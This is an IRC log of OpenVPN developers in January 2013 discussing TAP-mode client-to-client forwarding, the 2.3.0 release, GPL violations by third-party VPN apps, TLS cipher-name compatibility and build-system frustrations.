tcpdump/etc 07:35 <@dazo> ecrist: hmmm ... I have another TAP setup as well, without client-to-client ... so I'll try to figure out what happens when I change that one 07:35 * dazo is pretty pressured on time these days .... so I'll have to look at it a bit later 07:40 <@ecrist> if it's not going out with 2.3, it doesn't matter until 2.3.1 is ready to go out 07:40 <@dazo> agreed 07:47 <@cron2> ecrist: multicast is not routed, so that's a border case anyway 07:49 <@cron2> and I can assure you, client-to-client works as advertised - if set, packet forwarding decisions are made by openvpn, if unset, packets are forward client->tun, and the tun side needs to send them back (and can apply iptables firewalling there) - but that will not happen for multicast, as mcast packets will never be sent back 07:49 <@cron2> and I think it will also never happen for TAP, as bridges also won't send packets back 07:50 <@ecrist> cron2: I think TUN and TAP behave differently 07:50 * cron2 agrees with ecrist on that :-) 07:51 <@ecrist> I think TAP behaves as I mentioned in the man page change I presented. 07:51 * cron2 is fairly sure it doesn't 07:51 <@ecrist> I haven't used TUN in a while, so I might have made incorrect assumptions 07:52 <@ecrist> I'm going to do some proper testing this week. 07:52 <@cron2> nobody else I know uses TAP :-) especially given the non-support for TAP in Android and iOS 07:52 <@ecrist> cron2: it was confirmed the user yesterday, and I know we can't firewall our client-to-client traaffic without it 07:52 <@cron2> but with TAP it is always more tricky as it also depends on the setup on the server side, whether tap is bridged to eth0 or terminated 07:52 <@ecrist> we use TAP at $work 07:52 <@ecrist> (for now) 07:52 <@cron2> ecrist: firewall *where*? On the tap interface, on the br0 interface, or inside openvpn? 07:53 <@cron2> "we can't firewall" is far too unspecific 07:53 <@ecrist> on TAP or the bridge interface 07:53 <@ecrist> It's not overly useful to argue further until I do some testing. 07:59 <@ecrist> who is Davide Brini? 08:10 <@dazo> ecrist: a guy who's been providing several patches to openvpn ... he is quite knowledgeable about openvpn as well ... and also provided the contrib/OCSP_check/OCSP_check.sh script in addition to some patches fixing bugs in openvpn 08:11 <@ecrist> wasn't doubting his knowledge, just curious who he was 08:11 <@ecrist> I'm not as active on the mailing list 08:12 <@dazo> he only raises his voice when he got something to say ... so he's not one who you see that often on the ML 08:12 * dazo wonders if waldner is this person ..... unless dazo mixes things again 08:17 <@mattock> 2.3.0 is out 08:17 <@mattock> we should start getting bug reports soon, if there are any bugs in the release, which I doubt 08:17 <@mattock> :D 08:18 <@cron2> yeee-ha! congratulations and thanks to all involved! 08:18 <@cron2> mattock: "for real", with windows installer, tarball on community, and all? 08:24 <@mattock> cron2: yep 08:25 <@mattock> and all the smoketesting of debs/rpms/windows installers 08:25 <@mattock> 2.1.4 is no more on the downloads page 08:25 <@mattock> 2.2.2 is now the "oldstable" release 08:26 < waldner> dazo: yes it's me 08:27 <@cron2> mattock: woo-hoo! Maybe I start believing in T-Shirts now 08:28 <@cron2> mattock: maybe we also need some sort of advertising e-mail what's new in 2.3.0 compared to 2.2? Your mail just announced "relative to RC2", which is not that exciting... 08:33 < waldner> I think the reason you need client-to-client when in tap mode is because tap does ARP, so you don't want broadcasts to "leak" 08:33 <@dazo> ecrist: ^^^ 08:34 <@dazo> cron2++ 08:36 * dazo tries to compile a draft ... 08:37 < waldner> (and, I guess without looking at the code, openvpn has special provisions to replicate broadcasts to all clients when using client-to-client) 08:37 * waldner looks at the code 08:38 * ecrist reads 08:39 < waldner> yes, seems to be doing that 08:39 < waldner> if (TUNNEL_TYPE (m->top.c1.tuntap) == DEV_TYPE_TUN) .... 08:40 < waldner> .. invokes multi_bcast() later 08:40 < waldner> -2s/_TUN/_TAP/ 08:40 <@ecrist> at the very least, the last part of the section of the man page needs to change 08:40 <@ecrist> because, the only way you can firewall the traffic for tap is to use client-to-client 08:40 * ecrist will still do research 08:40 < waldner> multi.c, from line 2202 08:41 < waldner> ecrist: true, and even then, you have to use openvpn's internal firewall, _not_ iptables 08:41 <@ecrist> not quite - freebsd's PF works swell 08:42 < waldner> ah, I haven't used it so I can't speak for that 08:45 * cron2 would be quite surprised, actually, as pf also works on "packets seen by the kernel" which internally forwarded packets aren't 08:58 <@ecrist> my quick test confirms what you suggest, cron2 09:00 <@dazo> mattock: What I found worth mentioning ... which is new in v2.3 .... http://www.fpaste.org/iwbb/ 09:01 <@dazo> (far more extensive with bigger feature than I imagined when I started) 09:01 * dazo runs for a meeting 09:44 < waldner> a quick test with client-to-client enabled in tap mode shows packets enter eth0 (or whatever), are decapsulated by openvpn and immediately reencapsulated and send out eth0 again to the target client 09:44 < waldner> in fact, in this mode one could even leave the server's tap interface down, and it works just as well 09:45 <@dazo> it is possible in TAP mode to have the OpenVPN server and client without any IP addresses ... if the OS supports routing over devices instead of IPs 09:46 <@dazo> (ip route add x.x.x.x/yy via dev tapX) 09:47 < waldner> without client-to-client, the first attempt to communicate between any two clients show arp frames on the server's tap0 going _out_, so noone ever sees them and clients can't communicate 09:48 < waldner> this is with 2.1.3 but I don't think this particular aspect has changed much in later vesions 09:59 <@plaisthos> yeah 09:59 <@plaisthos> because tap0 is an ethernet device 10:00 <@plaisthos> there is no sense for the OS to forward the packet back to the tap device 10:00 <@plaisthos> if you give the clients a route over the tap0 ip (of the server) to the other client it should work 10:01 <@plaisthos> (or do crazy ethernet forward) 10:01 < waldner> yes, but then we enter the wonderful word of kludges 10:01 < waldner> *world 10:02 < waldner> and still I doubt a route would work, without first finding a way to not lose arp broadcasts 10:03 <@plaisthos> waldner: the client would not communicate directly 10:03 <@plaisthos> there is a datacentre bridging standard which allows this kind of bridging 10:04 <@plaisthos> 802.1Qbh 10:05 <@plaisthos> and 802.1Qbg 10:05 <@plaisthos> which would be better for openvpn 10:05 <@plaisthos> does linux support 802.1Qbg? 10:06 * cron2 doesn't want to know 10:08 <@plaisthos> cron2: it is basically designed that if you have multiple VMs on a server and one VM wants to talk to another than it cannot go through the external switch (and FW and whatever) and 802.1Qbg allows the frames to be sent to the external switch which will then return it to the same link 10:22 <@plaisthos> waldner: you could try to add tap0 to a bridge 10:22 <@plaisthos> and then enable brctl tap0 hairpin on 10:22 <@plaisthos> that should do the trick ... 10:30 < waldner> yes, that may work 10:30 < waldner> IIRC hairpin mode was introduced quite recently in the kernel though 10:36 * waldner prepares for the massive breakage that udev 197 will cause 10:36 < waldner> s/udev/systemd/ 10:37 <@cron2> plaisthos: if you're bored regarding new features and cleanup in OpenVPN, I have something new on my wishlist... 10:37 <@cron2> "have multiple independent IP pools, and assign clients to pools by ccd/ config" :-) 10:38 <@plaisthos> cron2: :) 10:38 <@cron2> we have "users with laptops" and "users with telephones" here, and they need different types of access... 10:38 <@cron2> and no, I'm not going to run yet another OpenVPN instance 10:39 <@plaisthos> cron2: yeah. I still need to build my multi port server first 10:39 <@plaisthos> I think we should discuss the architectural for that on FOSDEM 10:40 <@plaisthos> At the moment I am toying with the idea of throwing away the whole server network layer and using boost io for that 10:41 <@plaisthos> but I think that idea will not get much love from the C developers 10:46 <@cron2> well, James is fine with boost :-) but I'm not sure retrofitting that on 2.3 code is easier 10:51 <@plaisthos> yeah dunno 11:02 <@plaisthos> waldner: if find something out that hairpain works we could update the manpage to mention that 11:04 < waldner> yes, that may be worth trying, although I'd say it's a niche scenario for most people 11:06 <@plaisthos> cron2: Anyway I will wait until the new client code is available 11:09 <@ecrist> waldner: would you like an openvpn cloak? 11:22 -!- raidz_away is now known as raidz 11:25 < waldner> well, why not 11:25 < waldner> :-) 11:30 <@ecrist> ok 11:37 <@ecrist> waldner, you don't want a developer cloak? 11:37 < waldner> well, I'm not really a developer 11:37 <@ecrist> other option is openvpn/user/waldner 11:37 < waldner> I've contributed some hack^W code from time to time, that's all 11:37 <@ecrist> ok 11:37 < waldner> yes, /user/ is ok 11:39 -!- waldner [waldner@unaffiliated/waldner] has quit [Changing host] 11:39 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 11:39 < waldner> thanks! 11:41 <@ecrist> no problem. 13:10 < novaflash> ping mattock 14:16 <@ecrist> ping raidz / mattock 14:17 <@raidz> here 14:17 <@ecrist> pm? 14:23 -!- novaflash [~novaflash@openvpn/user/novaflash] has quit [Changing host] 14:23 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 14:23 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 14:36 <@ecrist> anyone know why the openvpn-status log doesn't give the IP for bridged-mode clients? 14:36 <@ecrist> MAC is fine, but MAC + assigned IP would be better 14:38 -!- snkl [~snk@209.141.61.194] has joined #openvpn-devel 14:38 < snkl> hey guys, quick question about OpenVPN Android 14:39 < snkl> when I specify auth-user-pass on hte clientside it still asks for a client crt and key 14:39 <@ecrist> auth-user-pass doesn't exclude certificates 14:39 <@ecrist> see 14:39 <@ecrist> !man 14:39 < snkl> I have the ca.crt there 14:39 <@vpnHelper> "man" is (#1) http://openvpn.net/man for 2.0 manual or (#2) http://openvpn.net/man-beta.html for 2.1 manual or (#3) http://openvpn.net/index.php/open-source/documentation/manuals/427-openvpn-22.html for 2.2 manual or (#4) the man pages are your friend! 14:39 < snkl> the same client config file works fine in other environments 14:40 <@ecrist> then maybe a bug in the android client 14:40 <@ecrist> which one, official, or plaisthos'? 14:40 < snkl> the official one 14:40 <@ecrist> report a bug, probably 14:41 < snkl> ok, will do 14:41 <@ecrist> it's not open-source, so we can't actually help 14:41 < snkl> lol, I thought this was a chan of OpenVPN Technologies 14:41 <@ecrist> they have people in here, but this is more an open-source channel 14:42 <@mattock> snkl: nope, this channel is for the OpenVPN (OSS) project developers 14:42 <@ecrist> you may have more luck in openvpn-as 14:42 < snkl> alright, will file a bug report :) 14:42 < snkl> thanks 14:42 <@mattock> np 14:56 -!- snkl [~snk@209.141.61.194] has left #openvpn-devel ["WeeChat 0.3.9.2"] 16:40 -!- dazo is now known as dazo_afk 16:58 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 17:12 <@vpnHelper> RSS Update - tickets: #248: Fix --askpass not allowing for password input via stdin <https://community.openvpn.net/openvpn/ticket/248> 19:51 -!- raidz is now known as raidz_away 22:22 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:22 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Jan 09 2013 00:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds] 02:16 <@andj> woot! Congratulations 02:59 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:34 -!- dazo_afk is now known as dazo 05:26 * cron2 apologizes for the OpenVPN 2.3 announcement on heise.de "it wasn't me writing this!" 05:44 <@plaisthos> cron2: :D 05:44 <@plaisthos> "Vollständige IPv6-Implementierung im neuen OpenVPN" 05:45 <@plaisthos> good that full IPv6 support does not include dual stack ;) 05:46 <@cron2> that's not the primary reason why I'm unhappy with that article - it's too one-sided and neglects that 2.3 is the result of more people than just me 05:47 <@cron2> the fine print about what's missing in regards to IPv6 and dual stack won't be understood by most readers anyway... 05:47 <@plaisthos> cron2: yeah 05:48 <@plaisthos> cron2: the news sound like ipv6 support is only new feature 05:49 <@cron2> yeah 05:54 <@cron2> mmmh, someone might want to update the wikipedia article... it's missing the Android client(s), and still talks about "2.2.2" as being the latest release :-) 06:01 <@plaisthos> :) 06:01 <@plaisthos> I must updated the english to include 2.3 06:01 <@plaisthos> But I already has both Android clients 06:01 <@plaisthos> are you talking about the german wikipedia? 06:03 <@cron2> german, yes, sorry 06:03 <@cron2> http://de.wikipedia.org/wiki/OpenVPN 06:03 <@vpnHelper> Title: OpenVPN – Wikipedia (at de.wikipedia.org) 06:11 <@plaisthos> lol, my client's description says that client is not compatible with L2TP/PTPP/IPSe 06:11 <@plaisthos> now searching for L2TP will show it as first hit on google play 06:11 <@dazo> hahaha .... poor plaisthos! 06:12 <@cron2> haha, that's good advertisement :-) 06:13 <@plaisthos> for ipsec it is the 2nd hit ... 06:26 <@plaisthos> and on vpn it is the 3rd hit 06:26 <@plaisthos> with first and second being OpenVPN based solutions 06:27 <@cron2> you're famous now :) 06:28 * cron2 hopes the iOS client will show up $soon, and then we can do another article "OpenVPN now on all important platforms!" 06:28 <@cron2> featuring german star developer Arne Schwabe :-) 06:28 <@plaisthos> cron2: no 06:28 <@plaisthos> I don't a heise article like you :p 06:29 <@cron2> plaisthos: I didn't do that one! But I can talk to folks to do an article about you ;-) 06:29 <@d12fk> new meme: i accidently... a heise article 06:30 <@d12fk> someone shop a cat pic with that! =) 06:31 <@plaisthos> :) 06:34 <@d12fk> there: http://cdn.memegenerator.net/instances/400x/33093535.jpg 06:34 <@plaisthos> hm I should email the guys of the first hit in the play about the license 06:35 <@plaisthos> And remind them that even BSD licenses are not completely free 06:36 <@plaisthos> Any feeling like reminding these guys (https://play.google.com/store/apps/details?id=hotspotshield.android.vpn) to conform to GPL? 06:36 <@vpnHelper> Title: Hotspot Shield VPN - Android Apps on Google Play (at play.google.com) 06:37 <@cron2> is that your code? 06:39 <@plaisthos> cron2: don't think so. If it is. it is heavily modified 06:40 <@plaisthos> But it still uses openvpn 06:40 <@plaisthos> this is my code: https://play.google.com/store/apps/details?id=com.vpnoneclick.android 06:40 <@vpnHelper> Title: Vpn One Click - Android Apps on Google Play (at play.google.com) 06:42 <@d12fk> the user ratings are beyond useless 06:43 <@plaisthos> d12fk: :) 06:44 <@plaisthos> d12fk: and here is another one https://play.google.com/store/apps/details?id=net.hideman 06:44 <@vpnHelper> Title: Hideman VPN - Android Apps on Google Play (at play.google.com) 06:47 <@d12fk> so do you have a business providing vpn to endusers? 06:47 <@cron2> plaisthos: ask the folks at gpl-violations.com? or have mattock chase them up? 06:49 <@plaisthos> I emailed them about BSD and GPL and the app now has in the about screen: http://plai.de/tmp/Screenshot_2013-01-09-13-47-54.png 06:50 <@d12fk> that must be a special gpl-buddy thanx =) 06:50 <@cron2> they haven't fully understood what "derived work" means, or don't care... meh 06:50 <@plaisthos> cron2, d12fk: My GUI has BSD license but the openvpn binary .... 06:50 <@d12fk> well if they offer the code that's all they need to do 06:51 <@d12fk> ah what kind of bsd? 06:51 * dazo found another violation .... 06:51 <@dazo> http://bartvpn.com/ 06:51 <@plaisthos> http://opensource.org/licenses/BSD-3-Clause 06:51 <@vpnHelper> Title: BartVPN - VPN Software and the Privacy Hero (at bartvpn.com) 06:51 <@vpnHelper> Title: The BSD 3-Clause License | Open Source Initiative (at opensource.org) 06:51 <@dazo> they provide openvpn.exe in their installer .... 06:53 <@dazo> and their own GUI seems to execute OpenVPN/openvpn.exe .... 06:54 <@ecrist> dazo: what's the violation? 06:54 <@plaisthos> AFOpenVPN 2.2.2 arm-linux-androideabi [SSL] [EPOLL] built on Oct 1 2012 06:54 <@plaisthos> sure ... 06:55 <@dazo> ecrist: not providing the GPL license together with OpenVPN binaries, as well as informing the user it contains GPL licensed software under GPLv2 06:55 * plaisthos needs to check his about screen ... 06:55 <@dazo> They bundle OpenVPN and Windows TAP drivers 06:56 * ecrist looks 06:56 <@plaisthos> "Deleting routes on Android is not possible. The VpnService API allows routes to be set on connect only. 06:57 <@plaisthos> This string looks suspicious ... 06:59 <@cron2> from your FAQ? 06:59 <@plaisthos> cron2: nah. 06:59 <@plaisthos> openvpn/src/openvpn/route.c: msg (M_NONFATAL, "Sorry, deleting routes on Android is not possible. The VpnService API allows routes to be set on connect only."); 06:59 <@cron2> ah :) 07:00 <@plaisthos> That also explains why the dissassembly looks similar to my code but different 07:00 <@plaisthos> They seem to have ported my patches to openvpn2.2 07:01 <@dazo> oh gosh ... that can't have been the easiest thing to do .... 07:01 <@andj> but why? 07:01 <@andj> the pain :) 07:02 <@plaisthos> or their version string is bullshit 07:02 <@plaisthos> and it is a 2.3 version telling you that it is 2.2 07:02 <@andj> interestingly, they say [SSL] 07:02 <@andj> from 2.3 up it's either OpenSSL or PolarSSL 07:02 <@andj> A colleague was working on the PolarSSL 1.2 patches 07:03 <@andj> and found an annoying compatibility bug 07:03 <@andj> the tls-cipher is pushed along with the config hash 07:03 <@andj> But the string is different in PolarSSL and OpenSSL now 07:03 <@dazo> ugh 07:03 <@andj> Since PolarSSL started conforming to the RFC instead of OpenSSL's own "standard" 07:04 <@andj> :( 07:04 <@plaisthos> sound like my ugly if(proto==UDPv6) proto=UDP patch ... 07:04 <@dazo> hmm ... I'd propose we move over to the RFC standard as well, having a translation table for openssl's values 07:04 <@plaisthos> andj: so we now need a polarSSLCiphernameToOpenSSLCiphername and the other way round 07:05 <@cron2> dazo: that will cause warnings on interop 2.2 - 2.3 nonetheless 07:05 <@dazo> *grmbl* 07:05 * cron2 proposes to drop cipher and hash values from config hash 07:05 <@andj> I was wondering why it's necessary 07:05 <@andj> cipher and hash are still compatible 07:05 <@dazo> yeah, probably even better 07:05 <@cron2> "if we reach that state, cipher+hash are right anyway" 07:05 <@andj> it's the tls-cipher 07:05 <@andj> in this case 07:06 <@andj> which is indeed necessary :) 07:06 <@cron2> andj: because whoever implemented this in the first place just put in *everything* that could go wrong... 07:06 <@andj> cron2: lol :) 07:06 <@cron2> same for udp/tcp - if server is udp, client is tcp, you'll notice quick enough 07:06 <@andj> I'll pass it on to him, I think it's a good idea :) 07:06 <@andj> Just wanted to test the waters 07:06 <@cron2> it's a bit messy because "just removing it" will also create warnings, unless you suppress the warnings as well (what I did for "proto" in 2.3) 07:07 <@cron2> and then you connect to a 2.2 server with --verify-whatever-its-called and the client gets dropped... :) 07:07 <@plaisthos> verify-opt 07:07 <@cron2> seems we need to do a general dcc option cleanup for 2.3.1 "ignore everything that is not useful to check in the first place", and in 2.4.x, stop sending these options 07:08 <@plaisthos> cron2: sounds good 07:09 * plaisthos thinks of tls-auth :) 07:13 <@andj> does that work? I thought it only sent the hash? 07:13 <@cron2> andj: it sends the full string in plain text, plus a hash 07:13 <@andj> ah, nice 07:13 <@ecrist> dazo: I looked into the distribution files for BartVPN, and they don't even distribute a copy of the license in the package 07:13 <@cron2> I'm not exactly sure what the hash is for, maybe it's an optimization for "don't even start parsing the string if the hash is the same" 07:27 <@dazo> ecrist: yupp! that's what I saw as well 07:38 <@plaisthos> for the copyrtight violations. Is there maybe a standard letter for this case? 07:38 <@plaisthos> The FSF must have something like this 07:39 <@ecrist> I think mattock normally handles this stuff at this point 07:44 <@dazo> plaisthos: I think gpl-violations.org provides some useful info here too 07:46 <@plaisthos> dazo: thanks, will look into it 10:08 <@d12fk> heise forum is lacking the trolls sadly 10:09 <@d12fk> at least for the ovpn article 10:09 <@d12fk> and users demand the service =P 10:33 * ecrist realizes how much better the openvpn community is compared to some other OSS projects 11:08 -!- raidz_away is now known as raidz 12:01 <@cron2> what, no trolls? I resign! I want my trolls! 12:01 <@cron2> normally every article that has "IPv6" in there reliably calls up "who needs that? I don't want no spying on me!" trolls 14:00 <@dazo> That didn't take long .... https://bugzilla.redhat.com/show_bug.cgi?id=893700 14:00 <@vpnHelper> Title: Bug 893700 openvpn-2.3.0 is available (at bugzilla.redhat.com) 14:01 <@cron2> phew 14:01 * cron2 thought that the first *bug* has been seen :-) 14:01 <@dazo> hehehe :) 14:01 <@cron2> yeah, time to upgrade, you lazy folks at RedHat! 14:02 <@dazo> :-P 14:02 <@cron2> first thing I heard today was "oh, 2.3.0 is out, great, but too late for Debian" :-) 14:02 <@dazo> heh 14:04 * dazo heads out 14:05 -!- dazo is now known as dazo_afk 16:57 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 17:00 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 17:00 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 17:00 -!- dazo_afk is now known as dazo 17:44 <@plaisthos> cron2: yeah debian is no stuck with the custom patched version which proto version reporting is not comptabile with 2.3 or 2.2 :) 18:06 <@plaisthos> and looking the patch list their client is a heavily patched 2.2 anyway closer to 2.3 than 2.2 23:14 <+krzee> plaisthos, what is the option "random host prefix" useful for? --- Day changed Thu Jan 10 2013 00:05 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 03:04 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:04 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:35 <@plaisthos> krzee: good question. I don't why picked that option to be included 03:36 <@plaisthos> it is this option 03:36 <@plaisthos> --remote-random-hostname 03:36 <@plaisthos> Add a random string (6 characters) to first DNS label of host- 03:36 <@plaisthos> name to prevent DNS caching. For example, "foo.bar.gov" would 03:36 <@plaisthos> be modified to "<random-chars>.foo.bar.gov". 03:36 <+krzee> ohh dns caching 03:36 <+krzee> interesting 03:36 <+krzee> that would make round robin more useful 04:41 <@cron2> mmmh 04:41 <@cron2> plaisthos wins this round of "finding obscure options in OpenVPN" :-) 05:17 <@plaisthos> cron2: :D 05:17 <@plaisthos> cron2: but it is only a B- because it is documented in the manpage 05:24 <@plaisthos> cron2: yeah. There seem to be even users of this option 05:24 <@plaisthos> one reported a minor bug with my new DS stuff 05:57 <@d12fk> "OpenVPN 2.3.0 -- released on 2013.01.08 This release includes two bugfixes." 05:57 <@d12fk> ^^maybe not the best way to put it =) 05:58 <@plaisthos> d12fk: lol 05:58 <@cron2> d12fk: where did *that* wording come from? 05:58 <@cron2> (but it's true, there are two bugfixes in 2.3.0 :-)) 05:58 <@d12fk> its on the community download page 05:58 <@cron2> lol 05:59 <@plaisthos> cron2: the offical 2.3.0 announcement 05:59 <@plaisthos> his release includes two bug fixes. A full list of changes is available 05:59 <@plaisthos> here: 05:59 <@plaisthos> <https://community.openvpn.net/openvpn/wiki/ChangesInOpenvpn23> 05:59 <@vpnHelper> Title: ChangesInOpenvpn23 – OpenVPN Community (at community.openvpn.net) 05:59 <@d12fk> ... took us a year, but we tested pretty good =) 05:59 <@cron2> oh, yeah, that. "two bugfixes relative to RC2, and we're not going to mention what else happened since 2.2" 06:00 * cron2 summons mattock 06:04 <@mattock> hi 06:04 <@mattock> feel free to make a summary :D 06:05 <@cron2> what dazo pastebin'ed was quite good 06:05 <@plaisthos> so for 2.3.1 can't have as major changes as 2.3.0 so: 06:05 <@mattock> ah, I'll check 06:05 <@plaisthos> Changelog: 06:05 <@plaisthos> No bug fixes 06:05 <@plaisthos> versions number increased 06:05 <@cron2> plaisthos: I think we can do "one minor bugfix" there :) 06:05 <@cron2> (if we test it thoroughly!) 06:06 <@plaisthos> cron2: perhaps a spelling correction in the manpage 06:07 <@cron2> not without an extended beta phase 06:08 <@mattock> found the changes in 2.3 list, updating download pages etc 06:08 <@cron2> \o/ 06:23 <@mattock> community download page updated 06:30 <@d12fk> mattock: excellent 06:33 <@mattock> also the ChangeInOpenVPN23 page and forums announcement 06:43 <@mattock> T-shirts have now been printed and on their way to me 06:51 <@plaisthos> \./ 07:48 <@plaisthos> btw. https://fosdem.org/2013/news/2013-01-04-main-tracks-schedule-complete/ 07:48 <@vpnHelper> Title: FOSDEM 2013 - Main tracks schedule is complete (at fosdem.org) 08:31 -!- mattock is now known as mattock_afk 08:34 -!- mattock_afk is now known as mattock 09:57 <@vpnHelper> RSS Update - tickets: #174: Test OpenVPN building on Cygwin <http://174.36.59.156/openvpn/ticket/174> || #78: openvpn http-proxy auth issue with profiles <http://174.36.59.156/openvpn/ticket/78> || #29: push-reset should not reset topology and route-gateway from global config <http://174.36.59.156/openvpn/ticket/29> || #208: Allow ipv6 only tunnels <http://174.36.59.156/openvpn/ticket/208> || #175: Test OpenVPN building on Cygwi 10:02 <@vpnHelper> RSS Update - tickets: #78: openvpn http-proxy auth issue with profiles <https://community.openvpn.net/openvpn/ticket/78> || #174: Test OpenVPN building on Cygwin <https://community.openvpn.net/openvpn/ticket/174> || #29: push-reset should not reset topology and route-gateway from global config <https://community.openvpn.net/openvpn/ticket/29> || #208: Allow ipv6 only tunnels <https://community.openvpn.net/openvpn/ticket/208> || 10:38 <@dazo> Hahaha! From Twitter, @kernelslacker: "I wonder if the guy who invented autoconf is in some kind of witness protection program now." 10:57 <+krzee> hahahahahah 12:02 -!- Netsplit *.net <-> *.split quits: @andj, +novaflash 12:02 -!- mode/#openvpn-devel [+o andj] by ChanServ 12:02 -!- Netsplit over, joins: andj 12:10 <@plaisthos> dazo: :) 12:11 <@plaisthos> autoconf is a typical GNU program. An overly complex solution nobody really understands for a problem that could have been solved simpler 12:13 -!- raidz is now known as raidz_away 12:16 <@dazo> plaisthos: I dunno - complex indeed, but not sure there are better solutions ... I've been using CMake in eurephia ... and I've been considering to move that project over to autotools, just because of the oddities in CMake .... if you know about something simpler for the POSIX platform, I'd like to hear about it for sure! :) 12:17 * dazo also remembers the nightmares of configuring Samba before they moved over to autotools too 12:17 -!- raidz_away is now known as raidz 12:19 <@mattock> you guys should move from that C/C++ crap to Java... they got plenty of good build systems :D 12:19 -!- raidz is now known as raidz_away 12:20 <@cron2> mattock: yeah, and since all of them cost money, you can always open a ticket with their support if it does not work!! 12:20 <@dazo> mattock: I prefer to use a decent programming language over a decent build tool .... :-P 12:21 <@cron2> dazo: autoconf is useful, no doubt, but they are way overdoing things. On my gentoo system, a typical package build spends 80% of its time in "configure", figuring out details like "how long can the maximum command line of an a.out binary be this week?", and then 20% compiling the package 12:21 -!- raidz_away is now known as raidz 12:22 <@cron2> (of course this is all the user's fault that clicks on "please give me ALL!!", but half of the possible checks should just not be there in the first place) 12:22 <@dazo> cron2: agreed ... they carry lots of old cruft to be able to compile on a variety of GNU platforms 12:22 <@cron2> ((openvpn also has a few autoconf checks that are never ever used in an #ifdef etc later on...)) 12:23 <@cron2> dazo: nobody (except "xargs" and "bash") needs to know the limit of a command line... 12:23 <@dazo> fair enough 12:23 <@cron2> ... which is my favourit pet peeve, because the way they do that causes a stall of a few *minutes* on AIX 12:23 <@cron2> (I never wished to figure out why that is so, but it annoys me about once a week...) 12:24 <@cron2> on a typical open source project which is not particularily close to the metal, I'm convinced configure could do with 10-20 checks 12:26 -!- raidz is now known as raidz_away 12:27 <@dazo> http://stackoverflow.com/questions/600274/alternatives-to-autoconf-and-autotools 12:27 <@vpnHelper> Title: c - Alternatives to Autoconf and Autotools? - Stack Overflow (at stackoverflow.com) 12:31 <@dazo> This is pretty well written ... old, but still quite true ... http://freecode.com/articles/stop-the-autoconf-insanity-why-we-need-a-new-build-system 12:31 <@vpnHelper> Title: Stop the autoconf insanity! Why we need a new build system. – Freecode (at freecode.com) 12:36 <@cron2> If we had someone who understands Autoconf and is *not* religious about it, we could likely go quite far with it... 12:37 <@dazo> the big plus of autotools is that once you got it working, and do the 'make dist' process ... you don't need much more on the build platform than a POSIX shell ... that's a great dependency 12:39 <@dazo> but to understand autoconf/automake ... and then add m4 ... to be able to compile 5 files ... which results in scripts and Makefiles not even your most crazy imagination would foresee .... that's the real problem of autotools 12:39 <@dazo> and it is most likely gone so far, because everyone loves Make .... but Make is limited in regards to dep-checking and error controls 12:42 * dazo wonders how complicated it is to make a portable build system .... and fears he will under-estimate it 12:42 <@dazo> (build system = autotools + Make replacement) 12:49 <@cron2> I actually think that "make" is perfectly fine for normal-sized projects :) 12:50 <@cron2> (as in "not multiple levels of nested subdirectories, some of which can be compiled in parallel while others can't") 12:50 <@dazo> yeah, that's part of the dependency issues you can hit with make 12:51 <@cron2> OTOH: make can compile the linux kernel, with "-j$high". So it's just a matter of careful tending :) 12:52 <@dazo> correct ... but because of the rats nest autotools is ... it's hard to make that careful tending there 12:53 <@dazo> writing Makefiles aren't that difficult ... but generating "carefully tended" Makefiles is hard 12:53 <@cron2> true 12:53 <@cron2> that's the "automake" can of worms, which I didn't even *start* ranting about :-) 12:53 <@dazo> :) 13:00 -!- raidz_away is now known as raidz 13:31 -!- mattock is now known as mattock_afk 15:11 -!- krzee [nobody@openvpn/community/support/krzee] has left #openvpn-devel ["Leaving"] 15:17 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 15:17 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:18 -!- mode/#openvpn-devel [+o raidz] by ChanServ 16:00 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 16:16 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 16:25 -!- dazo is now known as dazo_afk 18:37 -!- raidz is now known as raidz_away 18:38 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 248 seconds] 18:46 -!- raidz_away is now known as raidz 18:51 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 19:11 <@vpnHelper> RSS Update - tickets: #249: Installer script bugs <https://community.openvpn.net/openvpn/ticket/249> 19:26 -!- raidz is now known as raidz_away --- Day changed Fri Jan 11 2013 00:58 -!- mattock_afk is now known as mattock 03:32 -!- dazo_afk is now known as dazo 03:38 <@dazo> When looking at #249 ... I'm so glad we don't need to roll another openvpn version any more to fix such issues :) 05:06 <@mattock> dazo: yep, I just created a patched installer 05:42 <@mattock> the fix suggested for #249 breaks the Windows service for some reason 05:42 <@mattock> I'll verify with the original (I001) installer 06:08 -!- dazo is now known as dazo_afk 06:29 <@mattock> actually there's no problem with the fix, there was an unrelated (configuration) issue on my win7 64-bit test box 09:10 <@mattock> proposed fix to #249 sent to openvpn-devel 09:15 <@mattock> actually, we should probably release 2.3.0 build 002 in any case... it seems Alon has made some improvements to openvpn-build windows-nsis, and the build comp was not using those 11:03 <@cron2> I see you're having fun as well :-) 11:04 * cron2 is having a nice weekend trip to Austria for an aunt's 70th birthday "plus some skiing"... but with two childs, this is more of a punitive expedition than "holiday" 11:04 <@cron2> (Hotel is *very* nice, just a small drawback... WLAN everywhere, except in our room... works in the doorway... should have brought a router to use as repeater :) ) 11:08 -!- raidz_away is now known as raidz 13:57 <@vpnHelper> RSS Update - tickets: #250: OpenVPN 2.3.0 fails to build with PolarSSL 1.2.0+ 